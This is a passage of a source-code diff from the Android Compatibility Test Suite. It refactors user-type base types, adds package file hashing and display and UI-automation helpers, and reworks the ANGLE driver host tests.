(!baseType.isEmpty()) { - userType.mBaseType.add(UserType.BaseType.valueOf(baseType)); + userType.mBaseType.add(baseType); } } diff --git a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java index fde4a0b49d1..fb8522db6de 100644 --- a/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java +++ b/common/device-side/bedstead/nene/src/main/java/com/android/bedstead/nene/users/UserType.java @@ -29,13 +29,16 @@ public final class UserType { public static final int UNLIMITED = -1; - public enum BaseType { - SYSTEM, PROFILE, FULL + /** Default base types. */ + public static final class BaseType { + public static final String SYSTEM = "SYSTEM"; + public static final String PROFILE = "PROFILE"; + public static final String FULL = "FULL"; } static final class MutableUserType { String mName; - Set<BaseType> mBaseType; + Set<String> mBaseType; Boolean mEnabled; Integer mMaxAllowed; Integer mMaxAllowedPerParent; @@ -51,7 +54,8 @@ public final class UserType { return mMutableUserType.mName; } - public Set<BaseType> baseType() { + /** Get the base type(s) of this type. */ + public Set<String> baseType() { return mMutableUserType.mBaseType; } diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java index 4ed65de154c..32e41a17fdc 100644 --- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java +++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java @@ -71,6 +71,8 @@ public class PackageDeviceInfo extends DeviceInfo { private static final String SHA256_CERT = "sha256_cert"; + private static final String SHA256_FILE = "sha256_file"; + private static final String CONFIG_NOTIFICATION_ACCESS = "config_defaultListenerAccessPackages"; private static final String HAS_DEFAULT_NOTIFICATION_ACCESS = "has_default_notification_access"; @@ -126,6 +128,9 @@ public class PackageDeviceInfo extends DeviceInfo { String sha256_cert = PackageUtil.computePackageSignatureDigest(pkg.packageName); store.addResult(SHA256_CERT, sha256_cert); + String sha256_file = PackageUtil.computePackageFileDigest(pkg); + store.addResult(SHA256_FILE, sha256_file); + store.endGroup(); } store.endArray(); // "package" diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java index ae4bec136c7..48d5f30774b 100644 --- a/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java +++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/DisplayUtil.java @@ -17,6 +17,7 @@ package com.android.compatibility.common.util; import android.content.Context; +import android.hardware.display.DisplayManager; import android.hardware.hdmi.HdmiControlManager; import android.view.Display; @@ -77,4 +78,21 @@ public class DisplayUtil { return false; } + + public static int getRefreshRateSwitchingType(DisplayManager displayManager) { + return toSwitchingType(displayManager.getMatchContentFrameRateUserPreference()); + } + + private static int toSwitchingType(int matchContentFrameRateUserPreference) { + switch (matchContentFrameRateUserPreference) { + case DisplayManager.MATCH_CONTENT_FRAMERATE_NEVER: + return DisplayManager.SWITCHING_TYPE_NONE; + case DisplayManager.MATCH_CONTENT_FRAMERATE_SEAMLESSS_ONLY: + return DisplayManager.SWITCHING_TYPE_WITHIN_GROUPS; + case DisplayManager.MATCH_CONTENT_FRAMERATE_ALWAYS: + return DisplayManager.SWITCHING_TYPE_ACROSS_AND_WITHIN_GROUPS; + default: + return -1; + } + } } diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java new file mode 100644 index 00000000000..b0ec2e985bc --- /dev/null +++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java @@ -0,0 +1,70 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.compatibility.common.util; + +import static org.junit.Assert.assertTrue; + +import org.junit.Before; + +import java.util.List; + +/** + * Device-side base class for tests to run extra Business Logics in addition to the test-specific + * Business Logics. + * + * Used when running a common set of business logics against several tests. + * + * Usage: + * 1. Implement the common logic in an interface with default methods. + * 2. Extend this class and implement the interface. + * + * Now Business Logics rules and actions can be called from the GCL by using the interface fully + * qualified name. + */ +public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase implements MultiLogDevice { + + private static final String LOG_TAG = BusinessLogicTestCase.class.getSimpleName(); + + protected boolean mDependentOnBusinessLogic = true; + + public abstract List<String> getExtraBusinessLogics(); + + @Before + @Override + public void handleBusinessLogic() { + loadBusinessLogic(); + if (mDependentOnBusinessLogic) { + assertTrue(String.format( + "Test \"%s\" is unable to execute as it depends on the missing remote " + + "configuration.", mTestCase.getMethodName()), mCanReadBusinessLogic); + } else if (!mCanReadBusinessLogic) { + logInfo(LOG_TAG, "Skipping Business Logic for %s", mTestCase.getMethodName()); + return; + } + + BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor( + getContext(), this, mBusinessLogic.getRedactionRegexes()); + for (String extraBusinessLogic : getExtraBusinessLogics()) { + if (!mBusinessLogic.hasLogicFor(extraBusinessLogic)) { + throw new RuntimeException(String.format( + "can't find extra business logic for %s.", extraBusinessLogic)); + } + mBusinessLogic.applyLogicFor(extraBusinessLogic, executor); + } + executeBusinessLogic(); + } +} diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java new file mode 100644 index 00000000000..dbe5128b7b1 --- /dev/null +++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java @@ -0,0 +1,47 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.compatibility.common.util; + +import android.util.Log; +import com.android.compatibility.common.util.MultiLog; + +/** Implement the deviceside interface for logging on host+device-common code. */ +public interface MultiLogDevice extends MultiLog { + /** {@inheritDoc} */ + @Override + default void logInfo(String logTag, String format, Object... args) { + Log.i(logTag, String.format(format, args)); + } + + /** {@inheritDoc} */ + @Override + default void logDebug(String logTag, String format, Object... args) { + Log.d(logTag, String.format(format, args)); + } + + /** {@inheritDoc} */ + @Override + default void logWarn(String logTag, String format, Object... args) { + Log.w(logTag, String.format(format, args)); + } + + /** {@inheritDoc} */ + @Override + default void logError(String logTag, String format, Object... args) { + Log.e(logTag, String.format(format, args)); + } +} diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java index 728cbc6a5b5..e289a41e80a 100644 --- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java +++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java @@ -19,10 +19,15 @@ package com.android.compatibility.common.util; import android.content.pm.ApplicationInfo; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; +import android.content.pm.PackageManager.NameNotFoundException; import android.util.Log; import androidx.test.InstrumentationRegistry; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.math.BigInteger; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; @@ -36,6 +41,7 @@ public class PackageUtil { private static final int SYSTEM_APP_MASK = ApplicationInfo.FLAG_SYSTEM | ApplicationInfo.FLAG_UPDATED_SYSTEM_APP; private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray(); + private static final int READ_BLOCK_SIZE = 1024; /** Returns true if a package with the given name exists on the device */ public static boolean exists(String packageName) { @@ -147,6 +153,47 @@ public class PackageUtil { return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager(); } + + /** + * Compute the file SHA digest for a package. + * @param packageInfo the info of the package for which the file SHA digest is requested + * @return the file SHA digest + */ + public static String computePackageFileDigest(PackageInfo pkgInfo) { + ApplicationInfo applicationInfo; + try { + applicationInfo = getPackageManager().getApplicationInfo(pkgInfo.packageName, 0); + } catch (NameNotFoundException e) { + Log.e(TAG, "Exception: " + e); + return null; + } + File apkFile = new File(applicationInfo.publicSourceDir); + return computeFileHash(apkFile); + } + + private static String computeFileHash(File srcFile) { + MessageDigest md; + try { + md = MessageDigest.getInstance("SHA-256"); + } catch (NoSuchAlgorithmException e) { + Log.e(TAG, "NoSuchAlgorithmException:" + e.getMessage()); + return null; + } + String result = null; + try (FileInputStream fis = new FileInputStream(srcFile)) { + byte[] dataBytes = new byte[READ_BLOCK_SIZE]; + int nread = 0; + while ((nread = fis.read(dataBytes)) != -1) { + md.update(dataBytes, 0, nread); + } + BigInteger bigInt = new BigInteger(1, md.digest()); + result = String.format("%32s", bigInt.toString(16)).replace(' ', '0'); + } catch (IOException e) { + Log.e(TAG, "IOException:" + e.getMessage()); + } + return result; + } + private static boolean hasDeviceFeature(final String requiredFeature) { return InstrumentationRegistry.getContext() .getPackageManager() diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java index e16d7a89823..639c871b74c 100644 --- a/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java +++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/UiAutomatorUtils.java @@ -18,6 +18,8 @@ package com.android.compatibility.common.util; import static org.junit.Assert.assertNotNull; +import android.graphics.Rect; +import android.support.test.uiautomator.By; import android.support.test.uiautomator.BySelector; import android.support.test.uiautomator.UiDevice; import android.support.test.uiautomator.UiObject2; @@ -28,9 +30,17 @@ import android.support.test.uiautomator.Until; import androidx.test.InstrumentationRegistry; +import java.util.regex.Pattern; + public class UiAutomatorUtils { private UiAutomatorUtils() {} + /** Default swipe deadzone percentage. See {@link UiScrollable}. */ + private static final double DEFAULT_SWIPE_DEADZONE_PCT = 0.1; + + private static Pattern sCollapsingToolbarResPattern = + Pattern.compile(".*:id/collapsing_toolbar"); + public static UiDevice getUiDevice() { return UiDevice.getInstance(InstrumentationRegistry.getInstrumentation()); } @@ -61,15 +71,22 @@ public class UiAutomatorUtils { boolean isAtEnd = false; boolean wasScrolledUpAlready = false; + boolean scrolledPastCollapsibleToolbar = false; + while (view == null && start + timeoutMs > System.currentTimeMillis()) { view = getUiDevice().wait(Until.findObject(selector), 1000); if (view == null) { + final double deadZone = !(FeatureUtil.isWatch() || FeatureUtil.isTV()) + ? 0.25 : DEFAULT_SWIPE_DEADZONE_PCT; UiScrollable scrollable = new UiScrollable(new UiSelector().scrollable(true)); - if (!FeatureUtil.isWatch() && !FeatureUtil.isTV()) { - scrollable.setSwipeDeadZonePercentage(0.25); - } + scrollable.setSwipeDeadZonePercentage(deadZone); if (scrollable.exists()) { + if (!scrolledPastCollapsibleToolbar) { + scrollPastCollapsibleToolbar(scrollable, deadZone); + scrolledPastCollapsibleToolbar = true; + continue; + } if (isAtEnd) { if (wasScrolledUpAlready) { return null; @@ -77,12 +94,44 @@ public class UiAutomatorUtils { scrollable.scrollToBeginning(Integer.MAX_VALUE); isAtEnd = false; wasScrolledUpAlready = true; + scrolledPastCollapsibleToolbar = false; } else { - isAtEnd = !scrollable.scrollForward(); + Rect boundsBeforeScroll = scrollable.getBounds(); + boolean scrollAtStartOrEnd = !scrollable.scrollForward(); + Rect boundsAfterScroll = scrollable.getBounds(); + isAtEnd = scrollAtStartOrEnd && boundsBeforeScroll.equals( + boundsAfterScroll); } + } else { + // There might be a collapsing toolbar, but no scrollable view. Try to collapse + scrollPastCollapsibleToolbar(null, deadZone); } } } return view; } + + private static void scrollPastCollapsibleToolbar(UiScrollable scrollable, double deadZone) + throws UiObjectNotFoundException { + final UiObject2 collapsingToolbar = getUiDevice().findObject( + By.res(sCollapsingToolbarResPattern)); + if (collapsingToolbar == null) { + return; + } + + final int steps = 55; // == UiScrollable.SCROLL_STEPS + if (scrollable != null && scrollable.exists()) { + final Rect scrollableBounds = scrollable.getVisibleBounds(); + final int distanceToSwipe = collapsingToolbar.getVisibleBounds().height() / 2; + getUiDevice().drag(scrollableBounds.centerX(), scrollableBounds.centerY(), + scrollableBounds.centerX(), scrollableBounds.centerY() - distanceToSwipe, + steps); + } else { + // There might be a collapsing toolbar, but no scrollable view. Try to collapse + int maxY = getUiDevice().getDisplayHeight(); + int minY = (int) (deadZone * maxY); + maxY -= minY; + getUiDevice().drag(0, maxY, 0, minY, steps); + } + } } diff --git a/hostsidetests/accounts/AndroidTest.xml b/hostsidetests/accounts/AndroidTest.xml index d2676309b28..8603a71ef61 100644 --- a/hostsidetests/accounts/AndroidTest.xml +++ b/hostsidetests/accounts/AndroidTest.xml @@ -16,7 +16,7 @@ <configuration description="Config for the CTS accounts host tests"> <option name="test-suite-tag" value="cts" /> <option name="config-descriptor:metadata" key="component" value="framework" /> - <option name="config-descriptor:metadata" key="parameter" value="instant_app" /> + <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> <option name="config-descriptor:metadata" key="parameter" value="secondary_user" /> <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" > diff --git a/hostsidetests/angle/Android.bp b/hostsidetests/angle/Android.bp index 794ea69fd05..47ce8e07b5f 100644 --- a/hostsidetests/angle/Android.bp +++ b/hostsidetests/angle/Android.bp @@ -20,7 +20,6 @@ java_test_host { name: "CtsAngleIntegrationHostTestCases", defaults: ["cts_defaults"], srcs: ["src/**/*.java"], - java_resource_dirs: ["assets/"], // tag this module as a cts test artifact test_suites: [ "cts", diff --git a/hostsidetests/angle/assets/emptyRules.json b/hostsidetests/angle/assets/emptyRules.json deleted file mode 100644 index 77fa0c083a4..00000000000 --- a/hostsidetests/angle/assets/emptyRules.json +++ /dev/null @@ -1,8 +0,0 @@ -{ - "Rules":[ - { - "Rule":"Default Rule (i.e. use native driver)", - "UseANGLE":false - } - ] -} diff --git a/hostsidetests/angle/assets/enableAngleRules.json b/hostsidetests/angle/assets/enableAngleRules.json deleted file mode 100644 index 90f4893cb9b..00000000000 --- a/hostsidetests/angle/assets/enableAngleRules.json +++ /dev/null @@ -1,17 +0,0 @@ -{ - "Rules":[ - { - "Rule":"Default Rule (i.e. use native driver)", - "UseANGLE":false - }, - { - "Rule":"Supported application(s) (e.g. Maps on Google devices)", - "UseANGLE":true, - "Applications":[ - { - "AppName":"com.android.angleIntegrationTest.driverTest" - } - ] - } - ] -} diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java index 45bb43e7040..e35e2706e38 100644 --- a/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java +++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleCommon.java @@ -16,6 +16,7 @@ package android.angle.cts; import com.android.tradefed.device.ITestDevice; +import com.android.tradefed.device.PackageInfo; import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test; import java.util.HashMap; @@ -34,7 +35,6 @@ class CtsAngleCommon { static final String SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX = "show_angle_in_use_dialog_box"; // System Properties - static final String PROPERTY_GFX_ANGLE_SUPPORTED = "ro.gfx.angle.supported"; static final String PROPERTY_TEMP_RULES_FILE = "debug.angle.rules"; // Rules File @@ -43,6 +43,7 @@ class CtsAngleCommon { static final String DEVICE_TEMP_RULES_FILE_PATH = DEVICE_TEMP_RULES_FILE_DIRECTORY + "/" + DEVICE_TEMP_RULES_FILE_FILENAME; // ANGLE + static final String ANGLE_PACKAGE_NAME = "com.android.angle"; static final String ANGLE_DRIVER_TEST_PKG = "com.android.angleIntegrationTest.driverTest"; static final String ANGLE_DRIVER_TEST_SEC_PKG = "com.android.angleIntegrationTest.driverTestSecondary"; static final String ANGLE_DRIVER_TEST_CLASS = "AngleDriverTestActivity"; @@ -55,7 +56,6 @@ class CtsAngleCommon { ANGLE_DRIVER_TEST_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity"; static final String ANGLE_DRIVER_TEST_SEC_ACTIVITY = ANGLE_DRIVER_TEST_SEC_PKG + "/com.android.angleIntegrationTest.common.AngleIntegrationTestActivity"; - static final String ANGLE_MAIN_ACTIVTY = "android.app.action.ANGLE_FOR_ANDROID"; enum OpenGlDriverChoice { DEFAULT, @@ -104,10 +104,10 @@ class CtsAngleCommon { setProperty(device, PROPERTY_TEMP_RULES_FILE, "\"\""); } - static boolean isAngleLoadable(ITestDevice device) throws Exception { - String angleSupported = device.getProperty(PROPERTY_GFX_ANGLE_SUPPORTED); + static boolean isAngleInstalled(ITestDevice device) throws Exception { + PackageInfo info = device.getAppPackageInfo(ANGLE_PACKAGE_NAME); - return (angleSupported != null) && (angleSupported.equals("true")); + return (info != null); } static boolean isNativeDriverAngle(ITestDevice device) throws Exception { @@ -116,12 +116,6 @@ class CtsAngleCommon { return (driverProp != null) && (driverProp.equals("angle")); } - static void startActivity(ITestDevice device, String action) throws Exception { - // Run the ANGLE activity so it'll clear up any 'default' settings. - device.executeShellCommand("am start --user " + device.getCurrentUser() + - " -S -W -a \"" + action + "\""); - } - static void stopPackage(ITestDevice device, String pkgName) throws Exception { device.executeShellCommand("am force-stop " + pkgName); } diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java index 9431088959c..a78f953c2c4 100644 --- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java +++ b/hostsidetests/angle/src/android/angle/cts/CtsAngleDeveloperOptionHostTest.java @@ -62,8 +62,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { setAndValidateAngleDevOptionPkgDriver(pkgName, sDriverGlobalSettingMap.get(driver)); - startActivity(getDevice(), ANGLE_MAIN_ACTIVTY); - CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" + driver + ") with method '" + sDriverTestMethodMap.get(driver) + "'"); @@ -101,7 +99,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testEnableAngleForAll() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); installApp(ANGLE_DRIVER_TEST_APP); installApp(ANGLE_DRIVER_TEST_SEC_APP); @@ -126,7 +124,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testUseDefaultDriver() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); Assume.assumeFalse(isNativeDriverAngle(getDevice())); installApp(ANGLE_DRIVER_TEST_APP); @@ -144,7 +142,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testUseAngleDriver() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); Assume.assumeFalse(isNativeDriverAngle(getDevice())); installApp(ANGLE_DRIVER_TEST_APP); @@ -162,7 +160,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testUseNativeDriver() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); Assume.assumeFalse(isNativeDriverAngle(getDevice())); installApp(ANGLE_DRIVER_TEST_APP); @@ -180,7 +178,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testSettingsLengthMismatch() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); Assume.assumeFalse(isNativeDriverAngle(getDevice())); installApp(ANGLE_DRIVER_TEST_APP); @@ -204,7 +202,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testUseInvalidDriver() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); Assume.assumeFalse(isNativeDriverAngle(getDevice())); installApp(ANGLE_DRIVER_TEST_APP); @@ -221,7 +219,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testUpdateDriverValues() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); Assume.assumeFalse(isNativeDriverAngle(getDevice())); installApp(ANGLE_DRIVER_TEST_APP); @@ -244,7 +242,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testMultipleDevOptionsAngleNative() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); Assume.assumeFalse(isNativeDriverAngle(getDevice())); installApp(ANGLE_DRIVER_TEST_APP); @@ -269,7 +267,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testMultipleUpdateDriverValues() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); Assume.assumeFalse(isNativeDriverAngle(getDevice())); installApp(ANGLE_DRIVER_TEST_APP); @@ -288,8 +286,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," + sDriverGlobalSettingMap.get(firstDriver)); - startActivity(getDevice(), ANGLE_MAIN_ACTIVTY); - CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" + firstDriver + ") with method '" + sDriverTestMethodMap.get(firstDriver) + "'"); @@ -302,8 +298,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," + sDriverGlobalSettingMap.get(secondDriver)); - startActivity(getDevice(), ANGLE_MAIN_ACTIVTY); - CLog.logAndDisplay(LogLevel.INFO, "Validating driver selection (" + secondDriver + ") with method '" + sDriverTestMethodMap.get(secondDriver) + "'"); @@ -311,9 +305,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { ANGLE_DRIVER_TEST_SEC_PKG + "." + ANGLE_DRIVER_TEST_CLASS, sDriverTestMethodMap.get(secondDriver)); - // Make sure the first PKG's driver value was not modified - startActivity(getDevice(), ANGLE_MAIN_ACTIVTY); - String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS); String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES); CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" + @@ -327,129 +318,6 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { } /** - * Test setting a driver to 'default' does not keep the value in the settings when the ANGLE - * activity runs and cleans things up. - */ - @Test - public void testDefaultNotInSettings() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); - - // Install the package so the setting isn't removed because the package isn't present. - installApp(ANGLE_DRIVER_TEST_APP); - - setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG, - sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT)); - - // Run the ANGLE activity so it'll clear up any 'default' settings. - startActivity(getDevice(), ANGLE_MAIN_ACTIVTY); - - String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS); - String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES); - CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" + - devOptionPkg + "', driver value = '" + devOptionValue + "'"); - - Assert.assertEquals( - "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'", - "", devOptionPkg); - Assert.assertEquals( - "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'", - "", devOptionValue); - } - - /** - * Test uninstalled PKGs have their settings removed. - */ - @Test - public void testUninstalledPkgsNotInSettings() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); - - uninstallPackage(getDevice(), ANGLE_DRIVER_TEST_PKG); - - setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG, - sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE)); - - // Run the ANGLE activity so it'll clear up any 'default' settings. - startActivity(getDevice(), ANGLE_MAIN_ACTIVTY); - - String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS); - String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES); - CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" + - devOptionPkg + "', driver value = '" + devOptionValue + "'"); - - Assert.assertEquals( - "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'", - "", devOptionPkg); - Assert.assertEquals( - "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'", - "", devOptionValue); - } - - /** - * Test different PKGs can have different developer option values. - * Primary: ANGLE - * Secondary: Default - * - * Verify the PKG set to 'default' is removed from the settings. - */ - @Test - public void testMultipleDevOptionsAngleDefault() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); - - installApp(ANGLE_DRIVER_TEST_APP); - installApp(ANGLE_DRIVER_TEST_SEC_APP); - - setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG, - sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," + - sDriverGlobalSettingMap.get(OpenGlDriverChoice.DEFAULT)); - - // Run the ANGLE activity so it'll clear up any 'default' settings. - startActivity(getDevice(), ANGLE_MAIN_ACTIVTY); - - String devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS); - Assert.assertEquals( - "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOption + "'", - ANGLE_DRIVER_TEST_PKG, devOption); - - devOption = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES); - Assert.assertEquals( - "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOption + "'", - sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE), devOption); - } - - /** - * Test different PKGs can have different developer option values. - * Primary: ANGLE - * Secondary: Default - * - * Verify the uninstalled PKG is removed from the settings. - */ - @Test - public void testMultipleDevOptionsAngleNativeUninstall() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); - - installApp(ANGLE_DRIVER_TEST_SEC_APP); - - setAndValidateAngleDevOptionPkgDriver(ANGLE_DRIVER_TEST_PKG + "," + ANGLE_DRIVER_TEST_SEC_PKG, - sDriverGlobalSettingMap.get(OpenGlDriverChoice.ANGLE) + "," + - sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE)); - - // Run the ANGLE activity so it'll clear up any 'default' settings. - startActivity(getDevice(), ANGLE_MAIN_ACTIVTY); - - String devOptionPkg = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_PKGS); - String devOptionValue = getGlobalSetting(getDevice(), SETTINGS_GLOBAL_DRIVER_VALUES); - CLog.logAndDisplay(LogLevel.INFO, "Validating: PKG name = '" + - devOptionPkg + "', driver value = '" + devOptionValue + "'"); - - Assert.assertEquals( - "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_PKGS + " = '" + devOptionPkg + "'", - ANGLE_DRIVER_TEST_SEC_PKG, devOptionPkg); - Assert.assertEquals( - "Invalid developer option: " + SETTINGS_GLOBAL_DRIVER_VALUES + " = '" + devOptionValue + "'", - sDriverGlobalSettingMap.get(OpenGlDriverChoice.NATIVE), devOptionValue); - } - - /** * Test that the "ANGLE In Use" dialog box can be enabled when ANGLE is used. * * We can't actually make sure the dialog box shows up, just that enabling it and attempting to @@ -457,7 +325,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testAngleInUseDialogBoxWithAngle() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); Assume.assumeFalse(isNativeDriverAngle(getDevice())); setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1"); @@ -473,7 +341,7 @@ public class CtsAngleDeveloperOptionHostTest extends BaseHostJUnit4Test { */ @Test public void testAngleInUseDialogBoxWithNative() throws Exception { - Assume.assumeTrue(isAngleLoadable(getDevice())); + Assume.assumeTrue(isAngleInstalled(getDevice())); Assume.assumeFalse(isNativeDriverAngle(getDevice())); setGlobalSetting(getDevice(), SETTINGS_GLOBAL_ANGLE_IN_USE_DIALOG_BOX, "1"); diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleRulesFileTest.java 